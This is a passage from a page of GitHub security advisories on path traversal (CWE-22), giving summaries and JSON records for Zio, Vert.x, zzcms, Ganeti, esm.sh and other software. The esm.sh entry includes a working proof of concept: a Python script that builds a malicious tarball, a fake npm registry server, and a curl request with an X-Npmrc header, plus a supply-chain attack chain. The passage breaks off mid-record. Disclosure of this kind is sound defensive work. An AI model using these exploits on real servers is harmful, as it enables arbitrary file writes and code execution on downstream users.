CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13220 vulnerabilities reference this CWE, most recent first.
GHSA-H39G-6X3C-7FQ9
Vulnerability from github – Published: 2026-04-18 00:55 – Updated: 2026-04-18 00:55Summary
SubFileSystem fails to confine operations to its declared sub path when the input path is /../ (or equivalents /../, /..\\). This path passes all validation but resolves to the root of the parent filesystem, allowing directory level operations outside the intended boundary.
Affected Component
Zio.UPath.ValidateAndNormalize
Zio.FileSystems.SubFileSystem
UPath.ValidateAndNormalize has a trailing slash optimisation.
if (!processParts && i + 1 == path.Length)
return path.Substring(0, path.Length - 1);
When the input ends with / or \, and processParts is still false, the function strips the trailing separator and returns immediately before the .. resolution logic runs. The input /../ triggers this path: the trailing / is the last character, processParts has not been set (because .. as the first relative segment after root is specifically exempted), so the function returns /.. with the .. segment unresolved.
The resulting UPath with FullName = "/.." is absolute, contains no control characters, and no colon so it passes FileSystem.ValidatePath without rejection.
When this path reaches SubFileSystem.ConvertPathToDelegate:
protected override UPath ConvertPathToDelegate(UPath path)
{
var safePath = path.ToRelative(); // "/..".ToRelative() = ".."
return SubPath / safePath; // "/jail" / ".." = "/" (resolved by Combine)
}
The delegate filesystem receives / (the root) instead of a path under /jail.
Proof of Concept
using Zio;
using Zio.FileSystems;
var root = new MemoryFileSystem();
root.CreateDirectory("/sandbox");
var sub = new SubFileSystem(root, "/sandbox");
Console.WriteLine(sub.DirectoryExists("/../")); // True (sees parent root)
Console.WriteLine(sub.ConvertPathToInternal("/../")); // "/" (parent root path)
Impact
The escape is limited to directory level operations because appending a filename after .. (e.g., /../file.txt) causes normal .. resolution to trigger, which correctly rejects the path as going above root. Only the bare terminal /../ (which strips to /..) survives. This means that exploitability is limited, and this vulnerability does not escalate to file read/write.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.22.1"
},
"package": {
"ecosystem": "NuGet",
"name": "Zio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.22.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-179",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-18T00:55:19Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "# Summary\n\n`SubFileSystem` fails to confine operations to its declared sub path when the input path is `/../` (or equivalents `/../`, `/..\\\\`). This path passes all validation but resolves to the root of the parent filesystem, allowing directory level operations outside the intended boundary.\n\n# Affected Component\n\n`Zio.UPath.ValidateAndNormalize`\n`Zio.FileSystems.SubFileSystem`\n\n`UPath.ValidateAndNormalize` has a trailing slash optimisation.\n\n```csharp\nif (!processParts \u0026\u0026 i + 1 == path.Length)\n return path.Substring(0, path.Length - 1);\n```\n\nWhen the input ends with `/` or `\\`, and `processParts` is still false, the function strips the trailing separator and returns immediately before the `..` resolution logic runs. The input `/../` triggers this path: the trailing `/` is the last character, `processParts` has not been set (because `..` as the first relative segment after root is specifically exempted), so the function returns `/..` with the `..` segment unresolved.\n\nThe resulting `UPath` with `FullName = \"/..\"` is absolute, contains no control characters, and no colon so it passes `FileSystem.ValidatePath` without rejection.\n\nWhen this path reaches `SubFileSystem.ConvertPathToDelegate`:\n\n```csharp\nprotected override UPath ConvertPathToDelegate(UPath path)\n{\n var safePath = path.ToRelative(); // \"/..\".ToRelative() = \"..\"\n return SubPath / safePath; // \"/jail\" / \"..\" = \"/\" (resolved by Combine)\n}\n```\n\nThe delegate filesystem receives `/` (the root) instead of a path under `/jail`.\n\n# Proof of Concept\n\n```csharp\nusing Zio;\nusing Zio.FileSystems;\n\nvar root = new MemoryFileSystem();\nroot.CreateDirectory(\"/sandbox\");\nvar sub = new SubFileSystem(root, \"/sandbox\");\n\nConsole.WriteLine(sub.DirectoryExists(\"/../\")); // True (sees parent root)\nConsole.WriteLine(sub.ConvertPathToInternal(\"/../\")); // \"/\" (parent root path)\n```\n\n# Impact\n\nThe escape is limited to directory level operations because appending a filename after `..` (e.g., `/../file.txt`) causes normal `..` resolution to trigger, which correctly rejects the path as going above root. Only the bare terminal `/../` (which strips to `/..`) survives. This means that exploitability is limited, and this vulnerability does not escalate to file read/write.",
"id": "GHSA-h39g-6x3c-7fq9",
"modified": "2026-04-18T00:55:19Z",
"published": "2026-04-18T00:55:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xoofx/zio/security/advisories/GHSA-h39g-6x3c-7fq9"
},
{
"type": "WEB",
"url": "https://github.com/xoofx/zio/commit/c8c2f5328e50c1e7ab8c5c405fe70e0bd35f4782"
},
{
"type": "PACKAGE",
"url": "https://github.com/xoofx/zio"
},
{
"type": "WEB",
"url": "https://github.com/xoofx/zio/releases/tag/0.22.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Zio has SubFileSystem Path Confinement Bypass via Unresolved `..` Segment"
}
GHSA-H39J-XVHJ-PHRP
Vulnerability from github – Published: 2025-01-17 03:30 – Updated: 2025-01-17 03:30IBM InfoSphere Information Server 11.7 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing "dot dot" sequences (/../) to view arbitrary files on the system.
{
"affected": [],
"aliases": [
"CVE-2024-52363"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-17T02:15:25Z",
"severity": "MODERATE"
},
"details": "IBM InfoSphere Information Server 11.7 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing \"dot dot\" sequences (/../) to view arbitrary files on the system.",
"id": "GHSA-h39j-xvhj-phrp",
"modified": "2025-01-17T03:30:29Z",
"published": "2025-01-17T03:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52363"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7176515"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H39X-M55C-V55H
Vulnerability from github – Published: 2018-10-17 16:20 – Updated: 2022-04-26 21:49In version from 3.0.0 to 3.5.3 of Eclipse Vert.x, the StaticHandler uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '\' (forward slashes) sequences that can resolve to a location that is outside of that directory when running on Windows Operating Systems.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-web"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.5.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-12542"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:38:32Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "In version from 3.0.0 to 3.5.3 of Eclipse Vert.x, the StaticHandler uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize \u0027\\\u0027 (forward slashes) sequences that can resolve to a location that is outside of that directory when running on Windows Operating Systems.",
"id": "GHSA-h39x-m55c-v55h",
"modified": "2022-04-26T21:49:59Z",
"published": "2018-10-17T16:20:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-12542"
},
{
"type": "WEB",
"url": "https://github.com/vert-x3/vertx-web/issues/1025"
},
{
"type": "WEB",
"url": "https://github.com/vert-x3/vertx-web/commit/57a65dce6f4c5aa5e3ce7288685e7f3447eb8f3b"
},
{
"type": "WEB",
"url": "https://bugs.eclipse.org/bugs/show_bug.cgi?id=539171"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-h39x-m55c-v55h"
},
{
"type": "PACKAGE",
"url": "https://github.com/vert-x3/vertx-web"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rd0e44e8ef71eeaaa3cf3d1b8b41eb25894372e2995ec908ce7624d26@%3Ccommits.pulsar.apache.org%3E"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Eclipse Vert.x does not properly neutralize \u0027\u0027 (forward slashes) sequences that can resolve to an external location"
}
GHSA-H3CQ-C52P-HMQR
Vulnerability from github – Published: 2022-05-17 00:41 – Updated: 2022-05-17 00:41Multiple directory traversal vulnerabilities in Ez Ringtone Manager allow remote attackers to read arbitrary files via a .. (dot dot) in the id parameter in a detail action to (1) main.php and (2) template.php in ringtones/.
{
"affected": [],
"aliases": [
"CVE-2008-6112"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-02-11T17:30:00Z",
"severity": "MODERATE"
},
"details": "Multiple directory traversal vulnerabilities in Ez Ringtone Manager allow remote attackers to read arbitrary files via a .. (dot dot) in the id parameter in a detail action to (1) main.php and (2) template.php in ringtones/.",
"id": "GHSA-h3cq-c52p-hmqr",
"modified": "2022-05-17T00:41:28Z",
"published": "2022-05-17T00:41:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6112"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/46791"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/7190"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32767"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/32431"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/3244"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H3FM-PHG6-RJ2X
Vulnerability from github – Published: 2022-05-14 01:55 – Updated: 2022-05-14 01:55An issue was discovered in zzcms 8.3. user/zssave.php allows remote attackers to delete arbitrary files via directory traversal sequences in the oldimg parameter in an action=modify request. This can be leveraged for database access by deleting install.lock.
{
"affected": [],
"aliases": [
"CVE-2018-17797"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-09-30T20:29:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in zzcms 8.3. user/zssave.php allows remote attackers to delete arbitrary files via directory traversal sequences in the oldimg parameter in an action=modify request. This can be leveraged for database access by deleting install.lock.",
"id": "GHSA-h3fm-phg6-rj2x",
"modified": "2022-05-14T01:55:59Z",
"published": "2022-05-14T01:55:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-17797"
},
{
"type": "WEB",
"url": "https://github.com/seedis/zzcms/blob/master/arbitrary_file_deletion1.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H3GM-PCX4-7HMP
Vulnerability from github – Published: 2022-05-02 03:53 – Updated: 2025-04-09 04:17Multiple directory traversal vulnerabilities in the iallocator framework in Ganeti 1.2.4 through 1.2.8, 2.0.0 through 2.0.4, and 2.1.0 before 2.1.0~rc2 allow (1) remote attackers to execute arbitrary programs via a crafted external script name supplied through the HTTP remote API (RAPI) and allow (2) local users to execute arbitrary programs and gain privileges via a crafted external script name supplied through a gnt-* command, related to "path sanitization errors."
{
"affected": [],
"aliases": [
"CVE-2009-4261"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-12-21T16:30:00Z",
"severity": "HIGH"
},
"details": "Multiple directory traversal vulnerabilities in the iallocator framework in Ganeti 1.2.4 through 1.2.8, 2.0.0 through 2.0.4, and 2.1.0 before 2.1.0~rc2 allow (1) remote attackers to execute arbitrary programs via a crafted external script name supplied through the HTTP remote API (RAPI) and allow (2) local users to execute arbitrary programs and gain privileges via a crafted external script name supplied through a gnt-* command, related to \"path sanitization errors.\"",
"id": "GHSA-h3gm-pcx4-7hmp",
"modified": "2025-04-09T04:17:29Z",
"published": "2022-05-02T03:53:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4261"
},
{
"type": "WEB",
"url": "http://git.ganeti.org/?p=ganeti.git%3Ba=blobdiff%3Bf=NEWS%3Bh=34b46426eca82c351e0a478c71edb66b9bb4b228%3Bhp=7f916c59238503915e927377d887b93eef1f676c%3Bhb=e5823b7e2cd8a3c9037a10aa59823a45642ce29f%3Bhpb=f95c81bf21c177f7e6a2c53ea0613034326329bd"
},
{
"type": "WEB",
"url": "http://git.ganeti.org/?p=ganeti.git%3Ba=blobdiff%3Bf=lib/constants.py%3Bh=81302575487a44ed192e61aa7b21888a215ef215%3Bhp=c353878ed83ce66d21c237da5e709dedd7b6f26b%3Bhb=0084657a21afb49c6f74498f27b97dfdbc42b383%3Bhpb=d24cb69273e4b03ffcd4e4768d95841b5570e264"
},
{
"type": "WEB",
"url": "http://git.ganeti.org/?p=ganeti.git%3Ba=blobdiff%3Bf=lib/utils.py%3Bh=bcd8e107bbc44ff94a4bc3dc405b5547719f001d%3Bhp=df2d18027e83b7783e146cbbe58f7efa92317980%3Bhb=f95c81bf21c177f7e6a2c53ea0613034326329bd%3Bhpb=4fe80ef2ed1cda3a6357274eccafe5c1f21a5283"
},
{
"type": "WEB",
"url": "http://git.ganeti.org/?p=ganeti.git%3Ba=commit%3Bh=f95c81bf21c177f7e6a2c53ea0613034326329bd"
},
{
"type": "WEB",
"url": "http://git.ganeti.org/?p=ganeti.git;a=blobdiff;f=NEWS;h=34b46426eca82c351e0a478c71edb66b9bb4b228;hp=7f916c59238503915e927377d887b93eef1f676c;hb=e5823b7e2cd8a3c9037a10aa59823a45642ce29f;hpb=f95c81bf21c177f7e6a2c53ea0613034326329bd"
},
{
"type": "WEB",
"url": "http://git.ganeti.org/?p=ganeti.git;a=blobdiff;f=lib/constants.py;h=81302575487a44ed192e61aa7b21888a215ef215;hp=c353878ed83ce66d21c237da5e709dedd7b6f26b;hb=0084657a21afb49c6f74498f27b97dfdbc42b383;hpb=d24cb69273e4b03ffcd4e4768d95841b5570e264"
},
{
"type": "WEB",
"url": "http://git.ganeti.org/?p=ganeti.git;a=blobdiff;f=lib/utils.py;h=bcd8e107bbc44ff94a4bc3dc405b5547719f001d;hp=df2d18027e83b7783e146cbbe58f7efa92317980;hb=f95c81bf21c177f7e6a2c53ea0613034326329bd;hpb=4fe80ef2ed1cda3a6357274eccafe5c1f21a5283"
},
{
"type": "WEB",
"url": "http://git.ganeti.org/?p=ganeti.git;a=commit;h=f95c81bf21c177f7e6a2c53ea0613034326329bd"
},
{
"type": "WEB",
"url": "http://groups.google.com/group/ganeti/browse_thread/thread/cbce23d89103a8d2"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/37849"
},
{
"type": "WEB",
"url": "http://www.ocert.org/advisories/ocert-2009-019.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2009/12/17/5"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/508535/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/3599"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H3GP-WHXH-7HQ8
Vulnerability from github – Published: 2026-02-04 00:30 – Updated: 2026-02-04 00:30School ERP Pro 1.0 contains a file disclosure vulnerability that allows unauthenticated attackers to read arbitrary files by manipulating the 'document' parameter in download.php. Attackers can access sensitive configuration files by supplying directory traversal paths to retrieve system credentials and configuration information.
{
"affected": [],
"aliases": [
"CVE-2020-37088"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-03T22:16:24Z",
"severity": "HIGH"
},
"details": "School ERP Pro 1.0 contains a file disclosure vulnerability that allows unauthenticated attackers to read arbitrary files by manipulating the \u0027document\u0027 parameter in download.php. Attackers can access sensitive configuration files by supplying directory traversal paths to retrieve system credentials and configuration information.",
"id": "GHSA-h3gp-whxh-7hq8",
"modified": "2026-02-04T00:30:29Z",
"published": "2026-02-04T00:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-37088"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20190612111732/https://sourceforge.net/projects/school-erp-ultimate"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20200129123503/http://arox.in"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/48394"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/school-erp-pro-arbitrary-file-read"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-H3JX-WFWM-W7JP
Vulnerability from github – Published: 2022-05-14 02:48 – Updated: 2022-05-14 02:48Directory traversal vulnerability in Bonita BPM Portal before 6.5.3 allows remote attackers to read arbitrary files via a .. (dot dot) in the theme parameter and a file path in the location parameter to bonita/portal/themeResource.
{
"affected": [],
"aliases": [
"CVE-2015-3897"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-06-18T18:59:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in Bonita BPM Portal before 6.5.3 allows remote attackers to read arbitrary files via a .. (dot dot) in the theme parameter and a file path in the location parameter to bonita/portal/themeResource.",
"id": "GHSA-h3jx-wfwm-w7jp",
"modified": "2022-05-14T02:48:34Z",
"published": "2022-05-14T02:48:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-3897"
},
{
"type": "WEB",
"url": "https://www.htbridge.com/advisory/HTB23259"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/132237/Bonita-BPM-6.5.1-Directory-Traversal-Open-Redirect.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/535733/100/0/threaded"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H3MW-4F23-GWPW
Vulnerability from github – Published: 2025-11-19 20:30 – Updated: 2025-11-27 08:29Summary
The esm.sh CDN service is vulnerable to a Path Traversal (CWE-22) vulnerability during NPM package tarball extraction.
An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., package/../../tmp/evil.js).
When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory.
Uploading files containing ../ in the path is not allowed on official registries (npm, GitHub), but the X-Npmrc header allows specifying any arbitrary registry.
By setting the registry to an attacker-controlled server via the X-Npmrc header, this vulnerability can be triggered.
Details
file: server/npmrc.go
line: 552-567
func extractPackageTarball(installDir string, pkgName string, tarball io.Reader) (err error) {
pkgDir := path.Join(installDir, "node_modules", pkgName)
tr := tar.NewReader(unziped)
for {
h, err := tr.Next()
// ...
// Strip tarball root directory
_, name := utils.SplitByFirstByte(h.Name, '/') // "package/../../tmp/evil" → "../../tmp/evil"
filename := path.Join(pkgDir, name) // ← No validation
if h.Typeflag != tar.TypeReg {
continue
}
// Extension filtering
extname := path.Ext(filename)
if !(extname != "" && (allowed_extensions)) {
continue // Only extract .js, .css, .json, etc.
}
ensureDir(path.Dir(filename))
f, err := os.OpenFile(filename, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0644)
// ← File created without path validation!
// ...
}
}
The code uses path.Join(pkgDir, name), which normalizes the path and allows sequences like ../../ to escape the intended package directory.
pkgDir: /esm/npm/evil-pkg@1.0.0/node_modules/evil-pkg
name: ../../../../../../tmp/pyozzi.js
result: /esm/npm/evil-pkg@1.0.0/node_modules/evil-pkg/../../../../../../tmp/pyozzi.js
→ /tmp/pyozzi.js (path traversal)
PoC
Test On - esm.sh Official Docker Image (latest version) - python 3.11 - flask (for attacker registry server)
Step 1. Create Malicious tarball file
#!/usr/bin/env python3
"""
Malicious Tarball Generator for esm.sh Path Traversal
Creates tarball with path traversal payloads
"""
import tarfile
import io,os
import json
from datetime import datetime
def create_malicious_tarball(package_name="test-tarslip"):
# PoC file Content
poc_payload = b"""// Path Traversal PoC
// This file was created via tarslip attack
// Location: /tmp/pyozzi.js
console.log('[!!!] Path Traversal Successful!');
console.log('Package: %s');
console.log('Researcher: pyozzi');
module.exports = {
poc: true,
vulnerability: 'CWE-22 Path Traversal',
package: '%s'
};
""" % (package_name.encode(), package_name.encode())
files = {
"package/index.js": b"module.exports = { version: '1.0.0', test: true };",
"package/package.json": json.dumps({
"name": package_name,
"version": "1.0.0",
"description": "Test package for security research",
"main": "index.js",
"keywords": ["test", "security", "research"],
"author": "Security Researcher",
"license": "MIT"
}, indent=2).encode(),
"package/../../../../../../../../../tmp/pyozzi.js": poc_payload,
}
# Create Tarball
tarball_name = f"{package_name}-1.0.0.tgz"
print("Creating tarball with payloads:")
print()
with tarfile.open(tarball_name, "w:gz") as tar:
for name, content in files.items():
info = tarfile.TarInfo(name=name)
info.size = len(content)
info.mode = 0o755
info.mtime = int(datetime.now().timestamp())
tar.addfile(info, io.BytesIO(content))
print(f"File: {tarball_name}")
print(f"Size: {os.path.getsize(tarball_name)} bytes")
# Check Tarball Content
print("Tarball contents:")
with tarfile.open(tarball_name, "r:gz") as tar:
for member in tar.getmembers():
marker = ">> " if "../" in member.name else " "
mode = oct(member.mode)[-3:]
print(f"{marker}{member.name} (mode: {mode})")
if __name__ == '__main__':
create_malicious_tarball()
output:
$ python create_tarball.py
Creating tarball with payloads:
File: test-tarslip-1.0.0.tgz
Size: 545 bytes
Tarball contents:
package/index.js (mode: 755)
package/package.json (mode: 755)
>> package/../../../../../../../../../tmp/pyozzi.js (mode: 755)
Step 2. Run Fake Registry Server
# fake-npm-registry.py
from flask import Flask, jsonify, send_file
app = Flask(__name__)
MALICIOUS_TARBALL = "/tmp/test-tarslip-1.0.0.tgz" # HERE MALICIOUS TAR PATH
REGISTRY_URL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER
@app.route('/<package>')
def get_metadata(package):
return jsonify({
"name": package,
"versions": {
"1.0.0": {
"name": package,
"version": "1.0.0",
"dist": {
"tarball": f"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz"
}
}
},
"dist-tags": {"latest": "1.0.0"}
})
@app.route('/<package>/-/<filename>')
def get_tarball(package, filename):
return send_file(MALICIOUS_TARBALL, mimetype='application/gzip')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=9999)
python3 fake-npm-registry.py
Step 3. Request Malicious Package with X-Npmrc Header
curl "http://localhost:8080/test-tarslip@1.0.0" \
-H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}'
Step 4. Check Path Traversal
docker exec esm-test cat /tmp/pyozzi.js
# ouput:
// Path Traversal PoC
// This file was created via tarslip attack
// Location: /tmp/pyozzi.js
console.log('[!!!] Path Traversal Successful!');
console.log('Package: test-tarslip');
console.log('Researcher: pyozzi');
module.exports = {
poc: true,
vulnerability: 'CWE-22 Path Traversal',
package: 'test-tarslip'
};
...
Impact
This vulnerability enables large-scale remote code execution on end-user endpoints through supply chain attacks. The path traversal vulnerability allows attackers to overwrite package resources stored in esm.sh's cache. Package lists and file paths can be discovered through esm.sh's REST API endpoints. By overwriting these resource files with malicious code, arbitrary code execution occurs on all endpoints that subsequently import the compromised packages.
Attack Chain:
1. Attacker identifies popular packages and their cached build file locations via API enumeration
2. Uses path traversal to overwrite cached build files (e.g., /esm/storage/modules/react@18.3.1/es2022/react.mjs)
3. Injects malicious code into the build files
4. Any application importing these packages receives the backdoored version
5. Malicious code executes on victim endpoints (browsers, Electron apps, Deno applications)
Impact Scale: - Affects all downstream users of compromised packages - Can target specific frameworks (React, Vue, etc.) used by thousands of applications - Enables XSS in browsers, RCE in Electron applications - Difficult to detect as traffic appears legitimate
Patch
- Path validation is required when unpacking a tar file.
X-Npmrcwhitelist logic is required.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/esm-dev/esm.sh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20251117232647-9d77b88c3207"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-65025"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-19T20:30:00Z",
"nvd_published_at": "2025-11-19T18:15:49Z",
"severity": "HIGH"
},
"details": "### Summary\nThe esm.sh CDN service is vulnerable to a Path Traversal (CWE-22) vulnerability during NPM package tarball extraction. \nAn attacker can craft a malicious NPM package containing specially crafted file paths (e.g., `package/../../tmp/evil.js`). \nWhen esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory.\n\nUploading files containing `../` in the path is not allowed on official registries (npm, GitHub), but the `X-Npmrc` header allows specifying any arbitrary registry. \nBy setting the registry to an attacker-controlled server via the `X-Npmrc` header, this vulnerability can be triggered.\n\n### Details\n**file:** `server/npmrc.go` \n**line:** 552-567\n\n```go\nfunc extractPackageTarball(installDir string, pkgName string, tarball io.Reader) (err error) {\n \n pkgDir := path.Join(installDir, \"node_modules\", pkgName)\n \n tr := tar.NewReader(unziped)\n for {\n h, err := tr.Next()\n // ...\n \n // Strip tarball root directory\n _, name := utils.SplitByFirstByte(h.Name, \u0027/\u0027) // \"package/../../tmp/evil\" \u2192 \"../../tmp/evil\"\n filename := path.Join(pkgDir, name) // \u2190 No validation\n \n if h.Typeflag != tar.TypeReg {\n continue \n }\n \n // Extension filtering\n extname := path.Ext(filename)\n if !(extname != \"\" \u0026\u0026 (allowed_extensions)) {\n continue // Only extract .js, .css, .json, etc.\n }\n \n ensureDir(path.Dir(filename))\n f, err := os.OpenFile(filename, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0644)\n // \u2190 File created without path validation!\n // ...\n }\n}\n```\nThe code uses `path.Join(pkgDir, name)`, which normalizes the path and allows sequences like `../../` to escape the intended package directory.\n\n```\npkgDir: /esm/npm/evil-pkg@1.0.0/node_modules/evil-pkg\nname: ../../../../../../tmp/pyozzi.js\nresult: /esm/npm/evil-pkg@1.0.0/node_modules/evil-pkg/../../../../../../tmp/pyozzi.js\n \u2192 /tmp/pyozzi.js (path traversal)\n```\n\n### PoC\n**Test On**\n- esm.sh Official Docker Image (latest version)\n- python 3.11\n- flask (for attacker registry server)\n\n### Step 1. Create Malicious tarball file\n```python\n#!/usr/bin/env python3\n\"\"\"\nMalicious Tarball Generator for esm.sh Path Traversal\nCreates tarball with path traversal payloads\n\"\"\"\n\nimport tarfile\nimport io,os\nimport json\nfrom datetime import datetime\n\ndef create_malicious_tarball(package_name=\"test-tarslip\"):\n \n # PoC file Content\n poc_payload = b\"\"\"// Path Traversal PoC\n // This file was created via tarslip attack\n // Location: /tmp/pyozzi.js\n\n console.log(\u0027[!!!] Path Traversal Successful!\u0027);\n console.log(\u0027Package: %s\u0027);\n console.log(\u0027Researcher: pyozzi\u0027);\n\n module.exports = {\n poc: true,\n vulnerability: \u0027CWE-22 Path Traversal\u0027,\n package: \u0027%s\u0027\n };\n \"\"\" % (package_name.encode(), package_name.encode())\n \n files = {\n \"package/index.js\": b\"module.exports = { version: \u00271.0.0\u0027, test: true };\",\n \"package/package.json\": json.dumps({\n \"name\": package_name,\n \"version\": \"1.0.0\",\n \"description\": \"Test package for security research\",\n \"main\": \"index.js\",\n \"keywords\": [\"test\", \"security\", \"research\"],\n \"author\": \"Security Researcher\",\n \"license\": \"MIT\"\n }, indent=2).encode(),\n \n \"package/../../../../../../../../../tmp/pyozzi.js\": poc_payload,\n }\n \n # Create Tarball\n \n tarball_name = f\"{package_name}-1.0.0.tgz\"\n \n print(\"Creating tarball with payloads:\")\n print()\n \n with tarfile.open(tarball_name, \"w:gz\") as tar:\n for name, content in files.items():\n info = tarfile.TarInfo(name=name)\n info.size = len(content)\n info.mode = 0o755\n info.mtime = int(datetime.now().timestamp())\n tar.addfile(info, io.BytesIO(content))\n\n print(f\"File: {tarball_name}\")\n print(f\"Size: {os.path.getsize(tarball_name)} bytes\")\n\n # Check Tarball Content\n print(\"Tarball contents:\")\n with tarfile.open(tarball_name, \"r:gz\") as tar:\n for member in tar.getmembers():\n marker = \"\u003e\u003e \" if \"../\" in member.name else \" \"\n mode = oct(member.mode)[-3:]\n print(f\"{marker}{member.name} (mode: {mode})\")\n\nif __name__ == \u0027__main__\u0027:\n create_malicious_tarball()\n```\n\n**output:**\n```bash\n $ python create_tarball.py\nCreating tarball with payloads:\n\nFile: test-tarslip-1.0.0.tgz\nSize: 545 bytes\nTarball contents:\n package/index.js (mode: 755)\n package/package.json (mode: 755)\n\u003e\u003e package/../../../../../../../../../tmp/pyozzi.js (mode: 755)\n```\n\n### Step 2. Run Fake Registry Server\n```python\n# fake-npm-registry.py\nfrom flask import Flask, jsonify, 